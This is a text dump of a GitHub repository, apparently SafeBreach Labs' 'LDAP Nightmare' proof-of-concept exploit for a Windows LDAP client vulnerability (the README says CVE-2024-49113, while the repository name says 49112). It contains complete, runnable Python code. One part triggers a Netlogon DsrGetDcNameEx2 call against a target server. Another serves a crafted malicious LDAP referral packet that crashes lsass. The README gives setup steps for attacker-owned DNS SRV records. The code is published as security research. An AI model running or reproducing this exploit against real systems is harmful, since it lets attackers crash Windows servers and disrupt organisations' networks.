Repository: SafeBreach-Labs/CVE-2024-49112
Branch: main
Commit: 396afcd0d45e
Files: 8
Total size: 13.5 KB
Directory structure:
gitextract_bdpsp_7r/
├── .gitignore
├── LICENSE
├── LdapNightmare.py
├── Readme.md
├── exploit_server.py
├── logger.py
├── requirements.txt
└── rpc_call.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
venv/
__pycache__/
================================================
FILE: LICENSE
================================================
BSD 3-Clause License
Copyright (c) 2022, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================
FILE: LdapNightmare.py
================================================
import time
import asyncio
import argparse
import threading
from logger import logger
from rpc_call import DsrGetDcNameEx2
from exploit_server import run_exploit_server
def start_ldap_server(listen_port: int):
"""Run the async LDAP server in this thread."""
asyncio.run(run_exploit_server(listen_port))
def main():
parser = argparse.ArgumentParser(
description="Call NRPC DsrGetDcNameEx2 via Impacket"
)
parser.add_argument("target_ip", help="Target IP address (required)")
parser.add_argument(
"--port", "-p",
type=int,
default=49664,
help="TCP port for RPC (default: 49664)"
)
parser.add_argument(
"--listen-port", "-l",
type=int,
default=389,
help="UDP port for exploit server listen (default: 389)"
)
parser.add_argument(
"--domain-name", "-d",
required=True,
help="DomainName parameter"
)
parser.add_argument(
"--account", "-a",
default="Administrator",
help="AccountName parameter (default: Administrator)"
)
parser.add_argument(
"--site-name", "-s",
default="",
help="SiteName parameter (default: empty string)"
)
args = parser.parse_args()
# 1. Start the exploit server in a background thread.
server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,))
server_thread.start()
# 2. Optionally, wait a moment to ensure server is listening
logger.info("Waiting for udp server to start...")
time.sleep(2)
# 3. Now call your RPC function
logger.info("Calling DsrGetDcNameEx2 now...")
try:
DsrGetDcNameEx2(
target_ip=args.target_ip,
port=args.port,
account=args.account,
site_name=args.site_name,
domain_name=args.domain_name
)
logger.error("Failed to trigger the vulnerability!")
except ConnectionResetError:
# Netlogon is implemented inside the lsass.exe process,
# So the connection will be reset after the exploit is triggered.
logger.info("Successfuly triggered the vulnerability!")
if __name__ == "__main__":
main()
================================================
FILE: Readme.md
================================================
# LDAP Nightmare
An exploit for CVE-2024-49113 reported by Yuki Chen (@guhe120). A vulnerability in Windows Lightweight Directory Access Protocol (LDAP).
Created by SafeBreach Labs (published on January 1st 2025). For the full technical analysis of the vulnerability and how we managed to exploit it check out the blog post [**here**](https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-CVE-2024-49113/)
## Overview
CVE-2024-49113 is a critical vulnerability in Windows LDAP client that according to Microsoft allows remote code execution. This exploit leverages the vulnerability to crash target Windows Server systems by interacting with their Netlogon Remote Protocol (NRPC), and LDAP client.
## Demo
https://github.com/user-attachments/assets/1cbda4a9-943a-4e07-a95a-b20e45863ec3
## Setup
1. **Install Dependencies**:
Ensure that all required Python packages are installed. You can install them using `pip` and the provided `requirements.txt` file:
```bash
pip install -r requirements.txt
```
2. **Configure the Exploit**:
- `target_ip`: IP address of the target machine.
- `port`: TCP port for RPC communication (default: 49664).
- `listen_port`: UDP port for the exploit server to listen on (default: 389). If not changed, the tool is required to be run with admin or root privileges
- `domain_name`: A domain name on the internet that the attacker owns. This domain must have two DNS SRV records under it. (SRV records map a domain to a port and another domain):
- _ldap._tcp.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname`
- _ldap._tcp.default-first-site-name._sites.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname`
- Note - `attacker's machine hostname` will work assuming the victim server can find the attacker machine by its hostname using NBNS. Instead of the attacker's hostname, this value can be replaced with a domain name on the internet that point towards the IP of a malicious LDAP server exploiting the vulnerability.
- `account`: Account name parameter (default: Administrator).
- `site_name`: Site name parameter (default: empty string).
## Usage
```bash
python LdapNightmare.py <target_ip> --domain-name <domain_name> [options]
```
**Example**:
```bash
python LdapNightmare.py 192.168.1.100 --domain-name example.com
```
## How It Works
1. **Starts the Exploit Server**:
The script initiates an asynchronous LDAP server that listens for incoming connections on the specified UDP port.
2. **Invokes `DsrGetDcNameEx2`**:
The script calls the `DsrGetDcNameEx2` function via the Netlogon Remote Protocol to trigger the victim server to send an LDAP query to the attacker.
3. **Triggers the Vulnerability**:
By sending specially crafted response, the exploit triggers the CVE-2024-49113 vulnerability, causing the victim server to crash
## References
- [CVE-2024-49113 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-49113)
- [Microsoft Security Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49113)
## Authors - Or Yair & Shahak Morag
| | Or Yair | Shahak Morag |
|----------|-------------------------------------------------|---------------------------------------------------------------|
| LinkedIn | [Or Yair](https://www.linkedin.com/in/or-yair/) | [Shahak Morag](https://www.linkedin.com/in/shahak-morag-6bb51b142/) |
| Twitter | [@oryair1999](https://twitter.com/oryair1999) | [@shahakmo](https://x.com/shahakmo) |
================================================
FILE: exploit_server.py
================================================
import asyncio
from logger import logger
from ldaptor.protocols import pureldap
from ldaptor.protocols import pureber
REFERRAL_RESULT_CODE = 10
class LDAPSearchResultDoneRefferal(pureldap.LDAPSearchResultDone):
def toWire(self):
elements = [
pureber.BEREnumerated(self.resultCode),
pureber.BEROctetString(self.matchedDN),
pureber.BEROctetString(self.errorMessage),
]
if self.resultCode == 10: # LDAP referral result code
if self.referral:
elements.append(
pureber.BERSequence(
[pureber.BEROctetString(url) for url in self.referral],
tag=0xA3 # Context-specific tag for referral
)
)
if self.serverSaslCreds:
elements.append(pureldap.LDAPBindResponse_serverSaslCreds(self.serverSaslCreds))
return pureber.BERSequence(elements, tag=self.tag).toWire()
def get_malicious_ldap_packet(message_id: int, lm_referral: int=2) -> bytes:
"""
Build a malicious LDAP response packet with a referral.
The packet has the following structure:
Result code: 10 (LDAP referral)
Referral: ldap://referral.com (valid LDAP URL)
Message ID: 4 bytes (big-endian) - the same as the original request with lm_referral value.
"""
if lm_referral == 0 or lm_referral > 255:
raise ValueError("lm_referral must be between 1 and 255")
if lm_referral & 1:
raise ValueError("lm_referral must be an even number")
ldap_search_result = LDAPSearchResultDoneRefferal(resultCode=REFERRAL_RESULT_CODE, referral=['ldap://referral.com'])
ldap_response_message = pureldap.LDAPMessage(value=ldap_search_result, id=message_id)
bytes_to_send = ldap_response_message.toWire()
lm_referral_length_index = bytes_to_send.index(b"\x02\x01") + 1
message_id_byte = bytes_to_send[lm_referral_length_index + 1].to_bytes(length=1, byteorder='big')
bytes_to_send = (
bytes_to_send[:lm_referral_length_index] # Everything before the message ID
+ b"\x04" # Type and Length of the message ID
+ lm_referral.to_bytes(length=1, byteorder='big') # encoded lm_referral
+ b"\x00\x00" # Padding
+ message_id_byte # Message ID
+ bytes_to_send[lm_referral_length_index + 2:] # Rest of the packet
)
new_packet_length = bytes_to_send[1] + 3
bytes_to_send = bytes_to_send[0:1] + new_packet_length.to_bytes(length=1, byteorder='big') + bytes_to_send[2:]
return bytes_to_send
class LdapServerProtocol(asyncio.DatagramProtocol):
def __init__(self):
super().__init__()
self.berdecoder = pureldap.LDAPBERDecoderContext_TopLevel(
inherit=pureldap.LDAPBERDecoderContext_LDAPMessage(
fallback=pureldap.LDAPBERDecoderContext(
fallback=pureber.BERDecoderContext()
),
inherit=pureldap.LDAPBERDecoderContext(
fallback=pureber.BERDecoderContext()
),
)
)
self.transport = None
def connection_made(self, transport: asyncio.DatagramTransport) -> None:
self.transport = transport
logger.info(f"NetLogon connected")
def datagram_received(self, data: bytes, addr) -> None:
# Parse the received data
ldap_message, _ = pureber.berDecodeObject(self.berdecoder, data)
logger.info(f"Received LDAP request from NetLogon {addr}")
# Build the "vulnerable" response packet
vulnerable_ldap_packet = get_malicious_ldap_packet(ldap_message.id)
logger.info(f"Sending malicious LDAP response packet to {addr}: {vulnerable_ldap_packet}")
# Send back to client
self.transport.sendto(vulnerable_ldap_packet, addr)
def connection_refused(self, exc) -> None:
logger.error(f"Connection refused: {exc}")
def error_received(self, exc) -> None:
logger.error(f"Error received: {exc}")
async def run_exploit_server(listen_port: int):
loop = asyncio.get_running_loop()
transport, _ = await loop.create_datagram_endpoint(
lambda: LdapServerProtocol(),
local_addr=('0.0.0.0', listen_port)
)
try:
# Keep the server running forever (until Ctrl-C or you close the loop).
await asyncio.Future()
except KeyboardInterrupt:
pass
finally:
transport.close()
logger.info("Server has been shut down.")
================================================
FILE: logger.py
================================================
import logging
# Define a custom format with a prefix
custom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s'
# Create a logger
logger = logging.getLogger('my_logger')
logger.setLevel(logging.INFO)
# Create a handler (console/file)
console_handler = logging.StreamHandler()
# Set the formatter with the custom prefix
formatter = logging.Formatter(custom_format)
console_handler.setFormatter(formatter)
# Add the handler to the logger
logger.addHandler(console_handler)
================================================
FILE: requirements.txt
================================================
ldaptor
impacket
================================================
FILE: rpc_call.py
================================================
from logger import logger
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
NULL = '\x00'
def DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: str, domain_name: str):
# Build the RPC transport using ncacn_ip_tcp over <target_ip>:<port>
rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]')
dce = rpctransport.get_dce_rpc()
dce.connect()
logger.info(f"Connected to {target_ip}:{port}")
try:
dce.bind(nrpc.MSRPC_UUID_NRPC)
except DCERPCException:
logger.error("Failed to bind to NRPC interface!")
logger.info("This might be because the target is doesn't have netlogon service running.")
raise
request = nrpc.DsrGetDcNameEx2()
request['ComputerName'] = NULL
request['AccountName'] = account + NULL
request['AllowableAccountControlBits'] = 1 << 9
request['DomainName'] = domain_name + NULL
request['DomainGuid'] = NULL
request['SiteName'] = site_name + NULL
request['Flags'] = 0
logger.info("Sending DsrGetDcNameEx2 request...")
resp = dce.request(request)
resp.dump()
dce.disconnect()
gitextract_bdpsp_7r/ ├── .gitignore ├── LICENSE ├── LdapNightmare.py ├── Readme.md ├── exploit_server.py ├── logger.py ├── requirements.txt └── rpc_call.py
SYMBOL INDEX (13 symbols across 3 files)
FILE: LdapNightmare.py
function start_ldap_server (line 10) | def start_ldap_server(listen_port: int):
function main (line 14) | def main():
FILE: exploit_server.py
class LDAPSearchResultDoneRefferal (line 10) | class LDAPSearchResultDoneRefferal(pureldap.LDAPSearchResultDone):
method toWire (line 11) | def toWire(self):
function get_malicious_ldap_packet (line 33) | def get_malicious_ldap_packet(message_id: int, lm_referral: int=2) -> by...
class LdapServerProtocol (line 69) | class LdapServerProtocol(asyncio.DatagramProtocol):
method __init__ (line 70) | def __init__(self):
method connection_made (line 84) | def connection_made(self, transport: asyncio.DatagramTransport) -> None:
method datagram_received (line 88) | def datagram_received(self, data: bytes, addr) -> None:
method connection_refused (line 100) | def connection_refused(self, exc) -> None:
method error_received (line 103) | def error_received(self, exc) -> None:
function run_exploit_server (line 107) | async def run_exploit_server(listen_port: int):
FILE: rpc_call.py
function DsrGetDcNameEx2 (line 8) | def DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: ...
Condensed preview — 8 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (15K chars).
[
{
"path": ".gitignore",
"chars": 18,
"preview": "venv/\n__pycache__/"
},
{
"path": "LICENSE",
"chars": 1522,
"preview": "BSD 3-Clause License\n\nCopyright (c) 2022, SafeBreach Labs\nAll rights reserved.\n\nRedistribution and use in source and bin"
},
{
"path": "LdapNightmare.py",
"chars": 2233,
"preview": "import time\nimport asyncio\nimport argparse\nimport threading\n\nfrom logger import logger\nfrom rpc_call import DsrGetDcName"
},
{
"path": "Readme.md",
"chars": 3667,
"preview": "# LDAP Nightmare\n\nAn exploit for CVE-2024-49113 reported by Yuki Chen (@guhe120). A vulnerability in Windows Lightweight"
},
{
"path": "exploit_server.py",
"chars": 4519,
"preview": "import asyncio\n\nfrom logger import logger\nfrom ldaptor.protocols import pureldap\nfrom ldaptor.protocols import pureber\n\n"
},
{
"path": "logger.py",
"chars": 482,
"preview": "import logging\n\n\n# Define a custom format with a prefix\ncustom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s'\n\n"
},
{
"path": "requirements.txt",
"chars": 16,
"preview": "ldaptor\nimpacket"
},
{
"path": "rpc_call.py",
"chars": 1348,
"preview": "from logger import logger\nfrom impacket.dcerpc.v5 import nrpc\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom "
}
]
About this extraction
This page contains the full source code of the SafeBreach-Labs/CVE-2024-49112 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 8 files (13.5 KB), approximately 3.4k tokens, and a symbol index with 13 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.